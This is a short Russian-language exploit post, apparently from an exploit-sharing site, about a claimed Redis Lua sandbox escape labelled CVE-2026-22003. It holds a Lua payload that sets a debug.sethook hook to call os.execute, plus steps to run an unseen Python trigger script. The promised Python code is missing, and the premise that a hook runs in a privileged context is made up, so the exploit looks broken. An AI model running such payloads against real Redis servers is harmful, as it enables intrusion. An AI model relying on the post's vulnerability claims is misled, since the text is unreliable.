CVE-2026-22003 – Обход песочницы Redis Lua через debug.sethook

Код программы (триггер на Lua + Python)

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – Обход песочницы Redis Lua через debug.sethook

Обзор

Песочница Lua в Redis некорректно отключает функцию debug.sethook. Злоумышленник, который может выполнять Lua-скрипты, способен установить хук, выполняющийся в привилегированном контексте, и выйти из песочницы для выполнения произвольных системных команд.

Детали уязвимости

• Тип: Обход песочницы
• Воздействие: Удалённое выполнение кода на хосте Redis.
• Корневая причина: Библиотека отладки в окружении Lua остаётся доступной, что позволяет хукам вызывать os.execute или подобные функции.

Демонстрация эксплуатации

1. Запустите сервер Redis (с конфигурацией по умолчанию, которая разрешает EVAL).
2. Запустите эксплойт:
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

Создаётся файл /tmp/redis_escape, что доказывает выполнение команд.